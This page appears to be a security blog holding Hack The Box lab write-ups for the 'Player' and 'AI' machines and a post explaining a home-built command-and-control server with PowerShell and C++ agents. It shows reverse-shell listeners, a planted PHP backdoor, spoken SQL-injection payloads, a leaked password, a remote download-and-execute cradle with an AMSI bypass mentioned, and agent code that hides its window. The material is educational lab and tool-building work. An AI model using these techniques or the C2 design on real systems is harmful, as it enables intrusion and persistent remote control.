the banner indicated that it was an ssh
server:
1 |
root@kali:~/Desktop/HTB/boxes/player# nc player.htb 6686 |
I could login to that ssh
server with the credentials, but unfortunately I was in a restricted environment:
1 |
root@kali:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686 |
When I searched for exploits for that version of openssh
I found this exploit.
1 |
root@kali:~/Desktop/HTB/boxes/player# python 39569.py |
I tried to use .writefile
to write a php
file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:
Earlier I couldn’t read fix.php
through the ffmpeg
exploit, I was able to read it as telegen
and I found credentials for a user called peter
:
1 |
#> .readfile /var/www/staging/fix.php |
These credentials (peter : CQXpm\z)G5D#%S$y=
) worked with dev.player.htb
:
I tried to create a new project in /var/www/html
:
But I got an error saying that I was only allowed to create projects in /var/www/demo/home
so I created a project there:
When I ran gobuster
on http://dev.player.htb/
there was a directory called home
:
1 |
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt |
I wanted to see if that was related to /var/www/demo/home
so I created a file called test.php
that echoed test
and I tried to access it through /home
:
It worked so I edited my test file and added the php-simple-backdoor
code and got a reverse shell:
1 |
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337 |
when I ran pspy
to monitor the processes I noticed that /var/lib/playbuff/buff.php
got executed as root periodically:
1 |
2020/01/18 05:25:02 CMD: UID=0 PID=3650 | /usr/bin/php /var/lib/playbuff/buff.php |
I couldn’t write to it but it included another php
file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
):
1 |
www-data@player:/tmp$ cd /var/lib/playbuff/ |
I put my reverse shell payload in /tmp
and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
that executed it:
1 |
www-data@player:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Bitlab
Next Hack The Box write-up : Hack The Box - AI
Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163
, I added it to /etc/hosts
as ai.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb |
We got ssh
on port 22 and http
on port 80.
The index page was empty:
By hovering over the logo a menu appears:
The only interesting page there was /ai.php
. From the description (“Drop your query using wav
file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL
query but we’ll get to that later.:
I also found another interesting page with gobuster
:
1 |
root@kali:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php |
It had some instructions on how to use their speech recognition:
I used ttsmp3.com to generate audio files and I created a test file:
But because the application only accepts wav
files I converted the mp3
file with ffmpeg
:
1 |
root@kali:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 . |
As I said earlier, we don’t know what does it mean by “query” but it can be a SQL
query. When I created another audio file that says it's a test
I got a SQL
error because of '
in it's
:
The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.
Payload:
1 |
one open single quote union select database open parenthesis close parenthesis comment database |
The database name was alexa
, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test
after from
and tried possible and common things.
Payload:
1 |
one open single quote union select test from test comment database |
The table users
existed.
Payload:
1 |
one open single quote union select test from users comment database |
From here it was easy to guess the column names, username
and password
. The problem with username
was that it processed user
and name
as two different words so I couldn’t make it work.
Payload:
1 |
one open single quote union select username from users comment database |
password
worked just fine.
Payload:
1 |
one open single quote union select password from users comment database |
Without knowing the username we can’t do anything with the password, I tried alexa
which was the database name and it worked:
We owned user.
Privilege escalation on this box was very easy, when I checked the running processes I found this one:
1 |
alexa@AI:~$ ps aux |
This was related to an Apache Tomcat
server that was running on localhost
, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080
, 8005
and 8009
which is perfectly normal because these are the ports used by tomcat
, but we’ll also see 8000
:
1 |
alexa@AI:~$ netstat -ntlp |
A quick search on that port and how it’s related to tomcat
revealed that it’s used for debugging, jdwp
is running on that port.
The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com
By looking at the process again we can also see this parameter given to the java
binary:
1 |
-agentlib:jdwp=transport=dt_socket,address=localhost:8000 |
I searched for exploits for the jdwp
service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh
then I ran the exploit:
1 |
alexa@AI:/dev/shm$ nano pwned.sh |
Then from another ssh
session I triggered a connection on port 8005
:
1 |
alexa@AI:~$ nc localhost 8005 |
And the code was executed:
1 |
alexa@AI:/dev/shm$ nano pwned.sh |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Player
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd
and powershell
, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
You can find the tool on github.
As far as I know,
A basic c2 server should be able to:
An agent should be able to:
A listener should be able to:
And all communications should be encrypted.
The server itself is written in python3
, I wrote two agents, one in c++
and the other in powershell
, listeners are http
listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http
listeners, and I used flask
to create the listener application.
A Listener
object is instantiated with a name, a port and an IP
address to bind to:
1 |
class Listener: |
Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:
1 |
... |
After that it creates a key, saves it and stores it in a variable (more on generateKey()
in the encryption part):
1 |
... |
The flask application which provides all the functionality of the listener has 5 routes: /reg
, /tasks/<name>
, /results/<name>
, /download/<name>
, /sc/<name>
.
/reg
/reg
is responsible for handling new agents, it only accepts POST
requests and it takes two parameters: name
and type
. name
is for the hostname
while type
is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname
and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP
address of the compromised host.
With these information it creates a new Agent
object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
1 |
@self.app.route("/reg", methods=['POST']) |
/tasks/<name>
/tasks/<name>
is the endpoint that agents request to download their tasks, <name>
is a placeholder for the agent’s name, it only accepts GET
requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204
).
1 |
@self.app.route("/tasks/<name>", methods=['GET']) |
/results/<name>
/results/<name>
is the endpoint that agents request to send results, <name>
is a placeholder for the agent’s name, it only accepts POST
requests and it takes one parameter: result
for the results.
It takes the results and sends them to a function called displayResults()
(more on that function in the agent handler part), then it sends an empty response 204
.
1 |
@self.app.route("/results/<name>", methods=['POST']) |
/download/<name>
/download/<name>
is responsible for downloading files, <name>
is a placeholder for the file name, it only accepts GET
requests.
It reads the requested file from the files path and it sends it.
1 |
@self.app.route("/download/<name>", methods=['GET']) |
/sc/<name>
/sc/<name>
is just a wrapper around the /download/<name>
endpoint for powershell
scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI
, the oneliner downloads the original script from /download/<name>
, <name>
is a placeholder for the script name, it only accepts GET
requests.
It takes the script name, creates a download cradle in the following format:
1 |
IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME') |
and prepends that with the oneliner and responds with the full line.
1 |
@self.app.route("/sc/<name>", methods=['GET']) |
I had to start listeners in threads, however flask
applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process
object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
1 |
... |
As mentioned earlier, I wrote two agents, one in powershell
and the other in c++
. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg
as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
We can represent that in pseudo code like this:
1 |
get hostname |
So far, agents can only do two basic things, execute cmd
and powershell
.
I won’t talk about the crypto functions here, I will leave that for the encryption part.
First 5 lines of the agent are just the basic variables which are the IP
address, port, key, name and the time to sleep:
1 |
$ip = "REPLACE_IP" |
As mentioned earlier, It gets the hostname, sends the registration request and receives its name:
1 |
$hname = [System.Net.Dns]::GetHostName() |
Based on the received name it creates the variables for the tasks uri
and the results uri
:
1 |
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name") |
Then it starts the infinite loop:
1 |
for (;;){ |
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204
empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
1 |
$task = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content |
Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:
1 |
$task = Decrypt $key $task |
If the flag was VALID
it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.
1 |
if ($flag -eq "VALID"){ |
After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:
1 |
$command = $task[1] |
There are 5 valid commands, shell
, powershell
, rename
, sleep
and quit
.
shell
executes cmd
commands, powershell
executes powershell
commands, rename
changes the agent’s name, sleep
changes the sleep time and quit
just exits.
Let’s take a look at each one of them. The shell
and powershell
commands basically rely on the same function called shell
, so let’s look at that first:
1 |
function shell($fname, $arg){ |
It starts a new process with the given file name whether it was cmd.exe
or powershell.exe
and passes the given arguments, then it receives stdout
and stderr
and returns the result which is the VALID
flag appended with stdout
and stderr
separated by a newline.
Now back to the shell
and powershell
commands, both of them call shell()
with the corresponding file name, receive the output, encrypt it and send it:
1 |
if ($command -eq "shell"){ |
The sleep
command updates the n
variable then sends an empty result indicating that it completed the task:
1 |
elseif ($command -eq "sleep"){ |
The rename
command updates the name
variable and updates the tasks and results uri
s, then it sends an empty result indicating that it completed the task:
1 |
elseif ($command -eq "rename"){ |
The quit
command just exits:
1 |
elseif ($command -eq "quit"){ |
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http
functions and the shell
function.
Sending http
requests wasn’t as easy as it was in powershell
, I used the winhttp
library and with the help of the Microsoft documentation I created two functions, one for sending GET
requests and the other for sending POST
requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
1 |
|
The shell
function does the almost the same thing as the shell
function in the other agent, some of the code is taken from Stack Overflow and I edited it:
1 |
|
I would like to point out an important option in the process created by the shell
function which is:
1 |
si.wShowWindow = SW_HIDE; |
This is responsible for hiding the console window, this is also added in the main()
function of the agent to hide the console window:
1 |
int main(int argc, char const *argv[]) |
Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.
An Agent
object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:
1 |
class Agent: |
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
1 |
self.sleept = 3 |
After that it creates the needed directories and files:
1 |
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name) |
And finally it creates the menu for the agent, but I won’t cover the Menu
class in this post because it doesn’t relate to the core functionality of the tool.
1 |
self.menu = menu.Menu(self.name) |
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask()
function, which is a quite simple function, it takes the task and prepends it with the VALID
flag then it writes it to the tasks path:
1 |
def writeTask(self, task): |
As you can see, it only encrypts the task in case of powershell
agent only, that’s because there’s no encryption in the c++
agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks()
function which just deletes the tasks
file, very simple:
1 |
def clearTasks(self): |
Third function is a very important function called update()
, this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
1 |
def update(self): |
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell
function which just takes the command and writes the task:
1 |
def shell(self, args): |
The last function I want to talk about is a helper function called displayResults
which takes the sent results and the agent name. If the agent is a powershell
agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
1 |
def displayResults(name, result): |
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP
address, port and key in the agent template, or just the IP
address and port in case of the c++
agent.
Doing this with the powershell
agent is simple because a powershell
script is just a text file so we just need to replace the strings REPLACE_IP
, REPLACE_PORT
and REPLACE_KEY
.
The powershell
function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell
template and saves the new file in two places, /tmp/
and the files path for the listener. After doing that it generates a download cradle that requests /sc/
(the endpoint discussed in the listeners part).
1 |
def powershell(listener, outputname): |
It wasn’t as easy as it was with the powershell
agent, because the c++
agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
IP
variable.1 |
std::ifstream ifs(argv[0]); |
To get the right EOF
I had to compile the agent first, then update the agent source and compile again according to the size of the file.
For example this is the current definition of TEMPLATE_EOF
for the x64
agent:
1 |
#define TEMPLATE_EOF 52736 |
If we take a look at the size of the file we’ll find that it’s the same:
1 |
# ls -la |
The winexe
function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp
:
1 |
def winexe(listener, arch, outputname): |
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES
and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell
can’t deal with big integers without the .NET
class BigInteger
, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES
in powershell
easily, however I couldn’t do the same in c++
, so I decided to use a simple xor
but again there were some issues, that’s why the winexe
agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell
agent.
The AESCipher
class uses the AES
class from the pycrypto
library, it uses AES CBC 256
.
An AESCipher
object is instantiated with a key, it expects the key to be base-64
encoded:
1 |
class AESCipher: |
There are two functions to pad and unpad the text with zeros to match the block size:
1 |
def pad(self, s): |
The encryption function takes plain text, pads it, creates a random IV
, encrypts the plain text and returns the IV
+ the cipher text base-64
encoded:
1 |
def encrypt(self, raw): |
The decryption function does the opposite:
1 |
def decrypt(self,enc): |
I created two wrapper function that rely on the AESCipher
class to encrypt and decrypt data:
1 |
def ENCRYPT(PLAIN, KEY): |
And finally there’s the generateKey
function which creates a random 32 bytes key and base-64
encodes it:
1 |
def generateKey(): |
The powershell
agent uses the .NET
class System.Security.Cryptography.AesManaged
.
First function is the Create-AesManagedObject
which instantiates an AesManaged
object using the given key and IV
. It’s a must to use the same options we decided to use on the server side which are CBC
mode, zeros padding and 32 bytes key length:
1 |
function Create-AesManagedObject($key, $IV) { |
After that it checks if the provided key and IV
are of the type String
(which means that the key or the IV
is base-64
encoded), depending on that it decodes the data before using them, then it returns the AesManaged
object.
1 |
if ($IV) { |
The Encrypt
function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject
function to create the AesManaged
object and it encrypts the string with a random generated IV
.
It returns the cipher text base-64
encoded.
1 |
function Encrypt($key, $unencryptedString) { |
The opposite of this process happens with the Decrypt
function:
1 |
function Decrypt($key, $encryptedStringWithIV) { |
I used pickle
to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle
can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
1 |
def readFromDatabase(database): |
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.
Ahmed Hesham aka 0xRick | Pentester / Red Teamer wannabe.
[email protected]
I enjoy hacking stuff as much as I enjoy writing about it. So here you can find write-ups for CTF challenges, articles about certain topics and even quick notes about different things that I want to remember.
Goals: